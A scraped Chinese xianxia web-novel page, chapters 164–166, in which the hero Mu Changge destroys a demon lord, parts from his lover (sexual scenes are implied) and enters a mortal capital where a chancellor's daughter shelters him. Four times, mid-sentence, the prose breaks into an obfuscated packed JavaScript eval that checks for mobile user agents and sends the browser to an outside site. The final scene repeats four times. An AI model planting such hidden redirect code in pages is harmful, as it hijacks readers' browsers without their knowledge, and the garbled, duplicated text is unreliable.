至于外围,有南宫媚儿守着,可杜绝一切漏网之鱼。 他身影消失,再次出现,眼前是一座与世隔绝的法阵。 这阵法有些门道,可杜绝修士的探查,但在他的天眼瞳之下,这些伎俩就不堪大用了。 轰! 一道百丈剑气撕裂长空,直接将山谷入口的阵法撕破。 慕长歌踏步而行,看似缓慢,实则蕴含无尽的压迫,他走过的每一步,脚下的地面俱是碎裂。 驻守外围的魔修尚未反应过来,就被剑气绞成了碎片,动静惊动了此处残余的魔修,他们纷纷赶至,与慕长歌呈现对立之势。 南宫媚儿随后赶到,看向前方美眸微冷,“夫君且去。” “当心莫要沾染到魔气。” 慕长歌掌心祭出一物,“此宝可护你周全,无需分心防备。” 看着她接过吞天造化鼎,一道血色流光掀起,所过之处无数的魔修泯灭成灰。 一条笔直的,空荡荡的长线,就这么被拉了出来。 其余魔修无不吞了口唾沫,他们反应过来,向着南宫媚儿冲杀了过去。 巨大的合欢花虚影浮现,凌厉剑气如狂风骤雨砸落。 魔气漫天,南宫媚儿在吞天造化鼎的护持下,无需格外防备,她身影闪烁挪移,俨然化作杀戮之神。 惨叫声,哀嚎声,魔气溃散轰鸣声,不绝于耳。 山谷深处,血池中央。 阴无涯凌空盘坐,吸收着其中的能量,用以恢复自身。 他周身缠绕着漆黑魔气,面前悬浮着一名昏迷的少女,被他抽取身上的气血。 该死的慕长歌! 竟一而再,再而三,将他逼迫到险死还生的境地。 若非此人插手,他已然得到天风城中的上古魔尊本源,从而实现晋升上古魔尊的伟大理想。 他又何必冒险再去合欢宗,且被逼得施展血魔解体**,以自毁肉身的方式,逃离慕长歌那天地囚笼大阵。 眼下肉身 已毁,唯有在这血海,才能防止神魂之力流失。 只待他吸取到足够的气血,就能重铸肉身,再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15638235|171297||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去找那厮报仇。 这一战,他最大的收获,就是摸清了慕长歌的实力,但凡他恢复到大乘巅峰之境,就能做到碾压性的胜利。 突如其来的一道剑气,打断了他所有的幻想,剑气将血池一分为二,阴无涯的神魂,险些被这一剑所命中,所幸闪避及时。 而那少女,却被一股柔和的力量托起,稳稳落在了一旁。 嗒、嗒、嗒 清晰的脚步声,从洞口处传来,却是慕长歌缓步走入。 他随手一挥,数道剑气斩断了绑在石柱上的魔气锁链,十几名气息虚弱的低阶修士被灵光包裹着落地。 一名青年挣扎着行礼,其他人也纷纷道谢,各自离去。 慕长歌喂给那昏迷的女孩一枚丹药,待其悠悠转醒说了句,“速速离去,这不是你们该待的地方。” “多谢前辈相救。” 女孩呆滞数秒,起身行了一礼,迈出几步后,回过了头,“前辈小心。” 慕长歌挥了挥手,头也不回,目光始终锁定血池上方,恨不能吃他肉,喝他血,满目血红的阴无涯。 “慕长歌!” 阴无涯额头青筋直跳,“你我无怨无仇,你又何必欺人太甚!” “笑话,正魔不两立。” 他语气轻淡,“你们本身就是个错误,被消灭乃注定之事。” “那就要看你有没有这个本事!” 阴无涯拍向胸口,喷出一口本源精血,在空中化作诡异符文。 咕噜咕噜咕噜 血池如同烧开的热水,冒起了大大小小的泡泡,与石柱上密密麻麻的血色纹路,构成一个特殊的阵法。 “慕长歌,你杀不了我!” 阴无涯狂笑不止,“此阵以本尊精血为引,借助地脉之力,任你有万千手段,也无法伤我半根**.啊!” 他话未说完,突兀的一声惨叫。 正是慕长歌一剑将他劈开,并祭出斩魔散魄葫芦,将之收了进去,“废话真多。” 很快,葫芦里的声音彻底消失。 但下一秒。 一缕缕魔气在血池上方汇聚成形。 阴无涯得意大笑,“慕长歌,没用的,本尊说过,你杀不了我,此阵可保本尊不死不灭!” 他顺着慕长歌手指的方向望去,只见那葫芦悬浮在头顶。 阴无涯又被收了进去,紧随而至的是,比方才还要凄惨的叫声。 慕长歌看着葫芦,一声嗤笑,“本想给你个痛快,你却想痛不欲生,阴无涯,好人啊!” “……” **,畜生啊! 第164章 魔尊哀嚎成伴奏,媚儿献舞助雅兴 外界。 一道粉色流光划过天际又悄然来到此处洞穴。 灵光散去月白留仙裙随风飘舞南宫媚儿那修长玉腿在裙摆间若隐若现。 她足尖轻点绣鞋上的银铃叮当作响玉足踏在血池边缘竟未沾染半分污秽。 “夫君那魔头呢?” 她左右观看并未看到阴无涯不禁有些感到好奇还以为又被那魔头给逃了。 正要追出去看到慕长歌指了指悬浮在半空中的斩魔散魄葫芦葫芦表面暗纹流转隐约可见内部有黑雾疯狂冲撞。 “啊!!慕长歌!你不得好死!!” 阴无涯的叫声撕心肺裂。 想他堂堂魔尊竟然饱受此辱简直可恨! 见那魔头并未逃走南宫媚儿不禁松了口气她掩嘴轻笑看着那葫芦将魔气炼化后阴无涯的魂体在血海上空凝聚成形。 只是刚出轮廓就再次被吸入葫芦如此反复每一次都伴随着更加凄厉的哀嚎。 “有趣~” 她美眸弯成月牙这可比直接杀了他解气多了。 如此不可一世的魔尊可能想到自己落到这般下场。 慕长歌随手一挥一张云床凭空而现他斜倚其上握住一壶灵酒悠闲地啜饮。 阴无涯的惨叫声成了最好的下酒菜。 好残忍。 夫君不止是要**还要诛心。 南宫媚儿莲步轻移在他身边坐下“夫君不如你我伴着此曲翩翩而舞如何?” “哦?” 慕长歌挑眉“怎么舞?” “且看媚儿的就是~” 她打了个响指一团灵光将两人笼罩。 片刻后一件月白裙从灵光中抛出慕长歌的声音也似是被什么堵住只剩细碎的呜咽。 阴无涯崩溃到了极点! 什么此曲哪来的曲子 畜生啊! 简直畜生啊! 一个比一个残忍! 到底他是魔还是你们是魔! 他不仅要承受炼魂之苦还要听着外面那面红耳赤的动静。 更何况是在他的老巢里. 畜生!禽兽! 几个时辰后. 日暮西沉洞内渐暗灵光也已散去。 南宫媚儿娇羞坐于云床之上小脸泛着历经云雨的润色几个时辰的苦修让她的修为即将突破大乘二阶。 慕长歌指尖轻 弹,数颗明珠悬浮而起,将洞穴照得亮如白昼。 阴无涯的魂体已然透明到几乎不可见,就那么虚弱地漂浮在血池上方,他大口喘着粗气,差点咬碎了后槽牙。 虽说那葫芦没有将他再次收进去,可他距离死亡不远矣。 “魔头。 慕长歌披衣而起,犀利的目光中射出两道冰冷的箭矢,“想死还是想活? “你别得意,今日我虽死,可魔门定会为我报仇! 他厮杀厉吼,“他们会追杀你到天涯海角! “说完了? 慕长歌目空一切,“那就上路吧。 剑光闪过,洞穿了阴无涯虚弱的神魂。 他双瞳凸出,似是定格在了血池上空,只是身躯越来越膨胀。 砰! 阴无涯的魂体彻底崩碎。 这一刻,他完完全全地消失在了世上。 慕长歌眼中并无任何波动,他看向了血池,此物不毁,极有可能继续诞生魔物。 心神感知之下,这方血池不同于他与水月共同见过的那个,这座血池其中蕴含着无尽的生机。 “夫君,可能毁掉它? 南宫媚儿慵懒地起身,同样感受到血池的威胁。 慕长歌默默颔首,他只能暂且一试。 这血池拥有再生能力,摧毁不易。 若非如此,他那一剑就不是将血池一分为二,而是将其蒸干,眼下血池早已恢复成原来的样子。 嗡! 血煞剑出鞘。 嗅到了血海的气息,那剑变得异常兴奋。 果然如此。 经过他又一次感受,这剑的气息与血海相连。 此剑诞生于血海,不同的是,它是灵兵,而其他则是魔物。 那便用把剑,吞噬这里的血海,不知会进阶到何种程度。 嗖! 血煞剑径直插入血池中央。 霎时,血海沸腾,无数血线顺着剑身攀附而上,被贪婪地吞噬。 血池海位以肉眼可见的速度下降,剑身表面纹路闪烁着妖异的红光,剑柄处的血眼完全睁开,流露出满足的神色。 然而当血水位下降过半,吞噬速度明显减缓。 “呵,吃撑了? 慕长歌没好气的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15638236|171297||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一笑。 他探出剑指,无垢道体的纯净灵力,源源不断注入剑身。 轰! 血池炸开一道血色光柱,将整个山洞映照得一片猩红。 在这股 力量冲击下,剑身开始寸寸碎裂。 “不好!” 南宫媚儿惊呼,下意识就要出手。 慕长歌制止了她,“别动,这是进阶的征兆。” 果然,那些碎裂的痕迹并未掉落,而是悬浮在半空重组,每一片碎片尽皆化作更精细的剑刃。 很快,凝聚出一柄通体血红,遍布金色道纹的绝世神兵。 “叮!检测到血煞剑完成终极进化,当前品阶:伪仙器。” 系统的声音,在慕长歌脑海中响起,“此剑在下界已堪称绝世,可伤渡劫期修士,可破天阶法衣!” 最后一滴血水被吞噬殆尽,血煞剑发出一声清越的剑鸣。 它回到慕长歌手中,轻颤之间,荡漾开层层涟漪。 南宫媚儿感受到这股气息,美眸中稍显震惊。 她似乎觉得,倘若凡人能够拿得起这把剑,在不防御的情况下,也能伤她这位大乘修士。 若在修士手中,那就极大增加了实力。 如此神兵就这样被慕长歌递到了她面前。 “从今日起,我为你取名醉歌,寓意醉酒当歌,潇洒恣意,既已晋升伪仙之兵,那便不再是魔道之物。” 他将剑放在南宫媚儿掌心,“此后起,我女人的安全交给你,倘若她受到丝毫损伤,则是你护主不利,我必将你回炉再造!” 嗡! 剑身剧烈震颤,暗金色的血眼流露出人性化的敬畏。 它脱离南宫媚儿的玉手,化作一道红光缠绕在她皓腕上,最终凝成一枚血色剑镯,隐约可见醉歌二字。 “叮!恭喜宿主赠送伪仙器给道侣,触发赠宝返还功能,奖励:魔仙剑,其名踏雪。” “等级:下品仙兵!(可进阶)” “功效:可吸收魔血,以及本源之力成长,亦可压制魔道之力。” 慕长歌尚未查看,就看到南宫媚儿眉眼含羞。 “夫君对我的好,媚儿无以为报,唯有.尽心侍奉” 灵光笼罩,衣裙离体。 慕长歌不等反应,已然坠入温柔乡。 …… 第165章 有情道中悟真谛,乌云魔尊潜凡间 这一夜,南宫媚儿用尽了浑身解数,似是只有这样,才能表达对慕长歌的爱意,又似是只有这样,才能解去日后相思之苦。 她不知道再和这个男人见面要到什么时候,明天醒来将会迎来离别,她只想把握每一分每一秒。 她只想让时间过去得慢一些,好让她跟这个男人,慢慢地深入了解彼此,不错过任何一处细节。 只是对于她而言,一夜的时间注定是短暂的,哪怕这一夜她收获不菲,已是从大乘一阶突破到了二阶。 这样的修为进境,是她以往想都不敢想的,似乎遇上他以后,自己就成了这天地间的宠儿。 无论是修为还是其他事,不但迎刃而解,且事事顺遂如愿,甚至她不禁在想,慕长歌并非凡尘中人。 他是由上界下凡,历劫而来的远古仙神,她突破修为之所以不曾引来雷劫,亦是这个男人的手段。 尽管这种事很不可置信,可总让她觉得事实便是如此。 晨光亮起,洞外传来几声清脆的鸟鸣,山间的薄雾被朝阳染成金色,露珠在草叶上滚动,折射出七彩的光芒。 洞内,南宫媚儿正趴在慕长歌身上,一头青丝散落在胸膛。 她描摹着锁骨处的纹路,似要将这触感永远铭记。 “好快.天亮了. 又温存了片刻,她才恋恋不舍地支起身子,月白留仙裙自动飞来,如流水覆上玲珑有致的娇躯。 系带时,玉指翻飞如蝶,每一个动作优雅到令人心醉。 转过身,美眸中荡漾着化不开的柔情,“夫君,离别之前,就让媚儿为你穿一次衣可好? 不待回答,她已取来衣袍,玉手轻展间,动作温柔得像在对待稀世珍宝。 先是内衬,再是外袍,最后是腰带,她系得极慢,似乎这样就能让时间停滞。 慕长歌垂眸看她,此刻的南宫媚儿哪有半点合欢宗主的妖媚,分明是个满心满眼都是丈夫的小媳妇。 那专注的眼神,微抿的唇角,指尖偶尔地轻颤,无不透着说不尽的眷恋。 “好了. 慕长歌握住她手握,“且去便可,夫君又不是不回来了。 “那夫君要早些回来。 南宫媚儿强撑着笑意,指尖轻触他的唇,“媚儿会想你的. “等我做完了该做的事 他凑近她脸颊,“就可以做你爱做的事。 “好坏~我喜欢. 她眼圈红了,抱紧他的腰,俯首贴在他胸膛 “臭男人说话算话可不许骗我更不能有了其他人就忘了我。” 慕长歌没有说话扬着浅浅的笑意捋着她柔顺的发丝。 两人手牵手着离开了洞穴出来的那刻身后的秘穴已然坍塌。 南宫媚儿的身影在他的注视下化作一道流光远去。 虚空飘下一滴晶莹之物落于慕长歌指尖他品了品 他抬头看着远方内心叹息自己欠下的感情债是越来越多了她们每一个都是他人宁可折寿也愿拼尽一切去守护的仙子。 而他却有更重要的事去做做不到如常人那般守护她们。 慕长歌不由得苦笑或许情劫也是悟道的一种方式。 他想到那句上岸第一剑先斩意中人有情既无情无情亦有情情之一字最是难解。 斩情者自以为超脱殊不知已落入下乘纵情者看似沉沦反倒可能触及真谛。 他负手而立衣袍无风自动“情劫亦是道劫情关亦是难关不历红尘万丈怎见本心澄明?” 轰! 一股玄妙气息自他体内迸发周身浮现出无数金色道纹。 那些道纹交织变幻时而化作缠绵悱恻的鸳鸯时而变作凌厉刚直的剑意。 “叮!恭喜宿主参悟有情道真谛当前修为:化神八十阶!” 慕长歌感受着体内澎湃的力量眼中闪过一丝明悟。 太上忘情非是无情。 大道至简终归本心。 看山是山看水是水看山不是山看水不是水。 看山还是山看水还是水。 修行之路何尝不是如此? 初入道时见情是情修行途中见情非情。 得道之后见情还是情。 只是这份情超脱了世俗桎梏达到了更高境界。 嗡! 酒仙剑突然震颤发出清越剑鸣。 慕长歌心念一动长剑出鞘在虚空中划出一道玄妙轨迹。 这一剑看似随意却蕴含着他对有情道的全部理解。 不刻意追求无情也不沉溺于纵情而是在情与道之间找到那个微妙的平衡点。 咔嚓! 远处一座山峰应声而断切口光滑如镜。 这不是靠蛮力斩断而是剑意改变了那处空间的结构。 随着心境的提升就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15638237|171297||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是这把剑也进阶了。 “叮!恭喜宿主进阶酒仙剑当 前灵兵等级:下品仙器。” “系统,仙器分为几品?” “叮!仙器有下品、中品、上品、极品之分,玄武大陆最大程度可容纳下品仙器,若要继续晋升,除感悟之外,还需宿主飞升上界。” 慕长歌暗自点头,如今他手里的仙器就有酒仙剑以及踏雪。 仙器威力强大,但催动起来消耗的灵力,也是以前的数倍不止,若要完全发挥剑势,只有继续提升实力。 “系统,接下来该如何做,可能找寻到乌云魔尊逃脱的踪迹?” 慕长歌死马当作活马医地问了句。 本来他是打算,了结这里的事之后,就回趟碧霄宫。 毕竟那里还有事要他去做,叶灵曦还在等着他,林婉儿那丫头,也要给她个说法。 当初虽是迫于无奈,终归是要了那丫头的身子。 可没想到合欢宗被封印了三千年之久的乌云魔尊,其本源再次诞生了灵智,且让那缕灵智给逃了。 倘若不将其解决,首当其冲的还是碧霄宫,师尊妙音修为不俗,但若那魔物恢复巅峰,又如何能挡。 “叮!建议宿主前往凡间神煌王朝,原因有二。” 系统的机械音响起,“其一,王朝皇室必有气运之女,可助宿主提升修为,其二,乌云魔尊若要恢复实力,必要夺取王朝气运。” 慕长歌眉头一皱,乌云魔尊诞生了神智,可遗失了大量本源,仙道宗门又戒备森严,以他如今的状态,不敢轻易涉险。 但凡人王朝就不一样了,他们虽有龙气护持,但对这魔物来说,未必没有可趁之机。 乌云魔尊之所叫这个名号,源自他擅于蛊惑人心,而凡间君王最想得到的便是长生。 那魔物若以此为引诱,就有机会破了当代君王的护体龙气,从而控制整个王朝。 不好! 慕长歌瞳孔骤缩,若那魔头先一步找到气运之女,后果不堪设想。 气运之女身负一国气运,被魔尊吞噬后,不仅那女子会魂飞魄散,整个王朝也将陷入万劫不复之地。 更糟糕的是,恢复部分实力的魔头,极有可能对仙门出手! 慕长歌不再犹豫,身形一闪消失原地。 他要赶在那魔头之前找到气运之女,并将这魔物斩杀。 第166章 苏家贵女勇护道,玉镯异动识真仙 三日后,神煌王朝。 暮色中的皇城,笼罩在诡异的红霞里。 慕长歌收敛气息,为了不惊动潜伏的魔尊,伪装成游方道士。 他一袭青衫,背负长剑,腰间挂着个酒葫芦。 “滚远点,今日不许进城,更不许出城!” 守门士兵粗暴地推搡着几个布衣百姓。 他们的刀鞘砸在青石板上,溅起几点火星。 慕长歌指尖轻弹,一缕清风托住将要跌倒的老者,并将其扶住。 老者正要道谢,突然看清他腰间悬挂的葫芦,以及一身装扮,浑浊的眼睛猛地睁大。 “道长快走,最近皇城在抓游方道人!” 那老者话音未落,一对黑甲士兵围了上来,为首的将领面甲下传出金属般的嗓音。 “奉旨清查妖道,请阁下配合。” 慕长歌目光扫过将领脖颈处若隐若现的黑纹,那是被魔气侵蚀的痕迹。 好消息是,他来对了,乌云魔尊果然来到了凡界皇城,且看情况控制了皇城君主,以及手下将领。 坏消息是,他似乎来得有些晚了,皇城君主既为魔尊所控,那必然与那君主融为了一体。 如此,气运共享,他再想直接杀了那魔物有些不现实。 为今之计,只能逼迫那位君主,失去气运庇佑,否则修士贸然参与王朝争斗,易遭反噬。 暮色渐沉,官道上一辆马车缓缓驶向皇城。 车帘微掀,露出一张清丽绝伦的容颜,女子约莫二八年华,眉如远山含黛,眸若秋水凝霜。 白色秀梅长裙衬得肌肤如雪,发间一支白玉簪。 “小姐,您不该回来的。” 丫鬟小桃攥着帕子,撇着小嘴,“老爷好不容易才想办法让你逃出去,您又羊入虎口。” “父亲还在皇城,我若走了,岂不是置父亲于不顾,孝道何在?” 苏月瑶声音很轻,却透着不容置疑的坚定。 想起被送出去时的情形,苏月瑶胸口发闷,为了让她逃出去,父亲在茶中下了药。 等她醒过来,已在几十里之外的别院。 可这么一走,苏家上下三十余口的性命,还捏在那昏君手里,她岂能独善其身。 “不就是嫁给那个昏君么.” 苏月瑶苦笑,玉指无意识地在手背上抓出了白痕,“大不了嫁了就是。” “吁!” 车夫勒住缰绳,外面传来一阵嘈杂的动静。 苏月瑶蹙眉, “小桃,发生了什么事?” 小桃探头一看,顿时倒吸一口凉气。 “小姐,不好了,有个游方道士要被抓了。” 这道士可真是头铁,哪里不能去,偏向哪里来,不知道这里正在抓所有与道士有关的人么。 透过窗帘缝隙,苏月瑶看见城门外的黑甲卫,围着一个青衫男子,那人负剑执壶。 虽被十余人用刀剑指着,仍从容不迫,最诡异的是,他脚下竟有一圈淡淡金光流转,靠近的卫兵犹如撞上无形墙壁,踉跄后退。 “妖道!还不束手就擒!” 领头将领面甲下传出沙哑的嗓音。 青衫男子轻笑一声,指尖在酒葫芦上轻轻一弹,“这位军爷,贫道只想进去讨一碗酒喝,歇歇脚,何至于此?” 苏月瑶捂住了胸口,她腕间玉镯毫无征兆地发烫。 这枚玉镯并非凡物,而是钦天监的法器。 钦天监之所以交给苏家这样的法器,是察觉到了那昏君的异常,并指责其为求长生,与魔物为伍。 昭烈一怒之下,将钦天监所有人打入了天牢。 消息一出,整个朝堂轰动,可不知为何,又很快被压了下去,似乎堂上诸人忘了这回事。 另外,她父亲在留给她的书信中写道,此物唯有遇见真仙,才会出现异象,并交代她找到真仙,以此拯救这个王朝。 原以为这只是父亲让她安心离开所用的借口,现在看来极有可能是真的。 昭烈被魔物附身了! 望着苏月瑶惨白的脸颊,小桃吓了一跳,以为自家小姐劳累颠簸,身体不适。 苏月瑶来不及解释,她看到那青衫男子,竟隔着重重人群向着马车望来。 四目相对的刹那,一双深邃似星辰的双眼,令她坠入其中。 “好俊美的男子.” 苏月瑶失了神,下意识地呢喃了句。 她身旁的小桃翻了个白眼,赶忙拍了拍胸口,“小姐,您吓死我了,我以为您怎么了呢,不就是个男人.嘛???” 她话音陡然而止,掩住了娇嫩的檀口。 果然是个非常俊美的男人呢,怎么能这么俊美呢这皮肤光滑的,比精心保养的女人还要好。 他难道是仙人嘛? “住手!” 小桃尚未回过神,苏月瑶已是顾不上其他,匆匆下了马车。 她提着裙摆快步上前,“这位道长不过想进去歇歇脚,你们何必为难?” 慕长歌眼中闪过一丝诧异, 这姑娘怕得指尖都在发抖,仍挺直腰背,挡在他与黑甲卫之间。 而后,苏月瑶冲着他盈盈一礼,“家父当朝宰辅苏明远,道长若不嫌弃,请入府稍作歇息,再上路不迟。” “苏小姐!” 一名卫兵厉声喝道,“此人乃妖道,为了您的安全,所以还是.” “闭嘴!” 苏月瑶厉声呵斥,世家贵女威依尽显,“我乃相门之女,姨母又为当朝国母,我要做什么,轮得到你一个戍卫指手画脚?” 那人无奈,只能看向自己统领。 慕长歌暗自失笑,倒是气势十足,可惜她后背的衣料,已经被冷汗侵透,紧贴着一截纤细的腰线。 同时,他指尖闪过微弱灵光,正欲上前的将领脚步那么一顿,好似定格在了原地。 他眼中黑雾渐渐褪去,茫然地摸了摸脖子,那里原本狰狞的黑纹竟已消失无踪。 一阵清风拂过,他打了个寒颤,仿佛大梦初醒。 他这是? 将领低头看着自己握刀的手,掌心还残留着未散的黑气。 记忆如碎片般用来。 皇宫深处传来的诡异嘶吼,钦天监众人入狱,再到昭烈下令抓捕道士 “将军?” 士兵小心翼翼地唤道,“这妖道” “闭嘴!” 这声厉喝吓了他们一跳。 他盯着慕长歌的酒葫芦,看着上面的符文,莫名感受了舒适。 陛下为何会做出这样的事,他丝毫想不起来,又是轻微的头痛。 他想起三日前,钦天监监正入狱时,那位白发老者所说的话。 “王朝自有气运庇佑,成也气运,劫也气运,当你们看见北斗倒悬,便是真仙降临,解救我们之时,魔,终将覆灭。” 魔? 在何处? 这名将领下意识握紧战刀,反惊愕地发现. “北北斗倒悬!” 他如电光般看向慕长歌,咕咚咽了口唾沫。 莫非监正的话都是真的,这位小道长不是凡人,而是仙人所化? “将军可是身体不适?贫道对医术略懂一二,让我给将军瞧瞧?” 他走上前,在那人眼前打了个响指,“将军若要发现皇城有何异样切莫声张,日后可到苏小姐府邸找我。” 苏月瑶听闻暗自一喜,做了个请的手势。 慕长歌并未上车,徒步进入皇城。 他身影渐行渐远,可皇城上空的场景,在那位王统领眼中发生了极大的变化。 这姑娘怕得指尖都在发抖,仍挺直腰背,挡在他与黑甲卫之间。 而后,苏月瑶冲着他盈盈一礼,“家父当朝宰辅苏明远,道长若不嫌弃,请入府稍作歇息,再上路不迟。” “苏小姐!” 一名卫兵厉声喝道,“此人乃妖道,为了您的安全,所以还是.” “闭嘴!” 苏月瑶厉声呵斥,世家贵女威依尽显,“我乃相门之女,姨母又为当朝国母,我要做什么,轮得到你一个戍卫指手画脚?” 那人无奈,只能看向自己统领。 慕长歌暗自失笑,倒是气势十足,可惜她后背的衣料,已经被冷汗侵透,紧贴着一截纤细的腰线。 同时,他指尖闪过微弱灵光,正欲上前的将领脚步那么一顿,好似定格在了原地。 他眼中黑雾渐渐褪去,茫然地摸了摸脖子,那里原本狰狞的黑纹竟已消失无踪。 一阵清风拂过,他打了个寒颤,仿佛大梦初醒。 他这是? 将领低头看着自己握刀的手,掌心还残留着未散的黑气。 记忆如碎片般用来。 皇宫深处传来的诡异嘶吼,钦天监众人入狱,再到昭烈下令抓捕道士 “将军?” 士兵小心翼翼地唤道,“这妖道” “闭嘴!” 这声厉喝吓了他们一跳。 他盯着慕长歌的酒葫芦,看着上面的符文,莫名感受了舒适。 陛下为何会做出这样的事,他丝毫想不起来,又是轻微的头痛。 他想起三日前,钦天监监正入狱时,那位白发老者所说的话。 “王朝自有气运庇佑,成也气运,劫也气运,当你们看见北斗倒悬,便是真仙降临,解救我们之时,魔,终将覆灭。” 魔? 在何处? 这名将领下意识握紧战刀,反惊愕地发现. “北北斗倒悬!” 他如电光般看向慕长歌,咕咚咽了口唾沫。 莫非监正的话都是真的,这位小道长不是凡人,而是仙人所化? “将军可是身体不适?贫道对医术略懂一二,让我给将军瞧瞧?” 他走上前,在那人眼前打了个响指,“将军若要发现皇城有何异样切莫声张,日后可到苏小姐府邸找我。” 苏月瑶听闻暗自一喜,做了个请的手势。 慕长歌并未上车,徒步进入皇城。 他身影渐行渐远,可皇城上空的场景,在那位王统领眼中发生了极大的变化。 这姑娘怕得指尖都在发抖,仍挺直腰背,挡在他与黑甲卫之间。 而后,苏月瑶冲着他盈盈一礼,“家父当朝宰辅苏明远,道长若不嫌弃,请入府稍作歇息,再上路不迟。” “苏小姐!” 一名卫兵厉声喝道,“此人乃妖道,为了您的安全,所以还是.” “闭嘴!” 苏月瑶厉声呵斥,世家贵女威依尽显,“我乃相门之女,姨母又为当朝国母,我要做什么,轮得到你一个戍卫指手画脚?” 那人无奈,只能看向自己统领。 慕长歌暗自失笑,倒是气势十足,可惜她后背的衣料,已经被冷汗侵透,紧贴着一截纤细的腰线。 同时,他指尖闪过微弱灵光,正欲上前的将领脚步那么一顿,好似定格在了原地。 他眼中黑雾渐渐褪去,茫然地摸了摸脖子,那里原本狰狞的黑纹竟已消失无踪。 一阵清风拂过,他打了个寒颤,仿佛大梦初醒。 他这是? 将领低头看着自己握刀的手,掌心还残留着未散的黑气。 记忆如碎片般用来。 皇宫深处传来的诡异嘶吼,钦天监众人入狱,再到昭烈下令抓捕道士 “将军?” 士兵小心翼翼地唤道,“这妖道” “闭嘴!” 这声厉喝吓了他们一跳。 他盯着慕长歌的酒葫芦,看着上面的符文,莫名感受了舒适。 陛下为何会做出这样的事,他丝毫想不起来,又是轻微的头痛。 他想起三日前,钦天监监正入狱时,那位白发老者所说的话。 “王朝自有气运庇佑,成也气运,劫也气运,当你们看见北斗倒悬,便是真仙降临,解救我们之时,魔,终将覆灭。” 魔? 在何处? 这名将领下意识握紧战刀,反惊愕地发现. “北北斗倒悬!” 他如电光般看向慕长歌,咕咚咽了口唾沫。 莫非监正的话都是真的,这位小道长不是凡人,而是仙人所化? “将军可是身体不适?贫道对医术略懂一二,让我给将军瞧瞧?” 他走上前,在那人眼前打了个响指,“将军若要发现皇城有何异样切莫声张,日后可到苏小姐府邸找我。” 苏月瑶听闻暗自一喜,做了个请的手势。 慕长歌并未上车,徒步进入皇城。 他身影渐行渐远,可皇城上空的场景,在那位王统领眼中发生了极大的变化。 这姑娘怕得指尖都在发抖,仍挺直腰背,挡在他与黑甲卫之间。 而后,苏月瑶冲着他盈盈一礼,“家父当朝宰辅苏明远,道长若不嫌弃,请入府稍作歇息,再上路不迟。” “苏小姐!” 一名卫兵厉声喝道,“此人乃妖道,为了您的安全,所以还是.” “闭嘴!” 苏月瑶厉声呵斥,世家贵女威依尽显,“我乃相门之女,姨母又为当朝国母,我要做什么,轮得到你一个戍卫指手画脚?” 那人无奈,只能看向自己统领。 慕长歌暗自失笑,倒是气势十足,可惜她后背的衣料,已经被冷汗侵透,紧贴着一截纤细的腰线。 同时,他指尖闪过微弱灵光,正欲上前的将领脚步那么一顿,好似定格在了原地。 他眼中黑雾渐渐褪去,茫然地摸了摸脖子,那里原本狰狞的黑纹竟已消失无踪。 一阵清风拂过,他打了个寒颤,仿佛大梦初醒。 他这是? 将领低头看着自己握刀的手,掌心还残留着未散的黑气。 记忆如碎片般用来。 皇宫深处传来的诡异嘶吼,钦天监众人入狱,再到昭烈下令抓捕道士 “将军?” 士兵小心翼翼地唤道,“这妖道” “闭嘴!” 这声厉喝吓了他们一跳。 他盯着慕长歌的酒葫芦,看着上面的符文,莫名感受了舒适。 陛下为何会做出这样的事,他丝毫想不起来,又是轻微的头痛。 他想起三日前,钦天监监正入狱时,那位白发老者所说的话。 “王朝自有气运庇佑,成也气运,劫也气运,当你们看见北斗倒悬,便是真仙降临,解救我们之时,魔,终将覆灭。” 魔? 在何处? 这名将领下意识握紧战刀,反惊愕地发现. “北北斗倒悬!” 他如电光般看向慕长歌,咕咚咽了口唾沫。 莫非监正的话都是真的,这位小道长不是凡人,而是仙人所化? “将军可是身体不适?贫道对医术略懂一二,让我给将军瞧瞧?” 他走上前,在那人眼前打了个响指,“将军若要发现皇城有何异样切莫声张,日后可到苏小姐府邸找我。” 苏月瑶听闻暗自一喜,做了个请的手势。 慕长歌并未上车,徒步进入皇城。 他身影渐行渐远,可皇城上空的场景,在那位王统领眼中发生了极大的变化。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15642257|171297||http|test|mini|href|location''.split(''|''),0,{})); () { 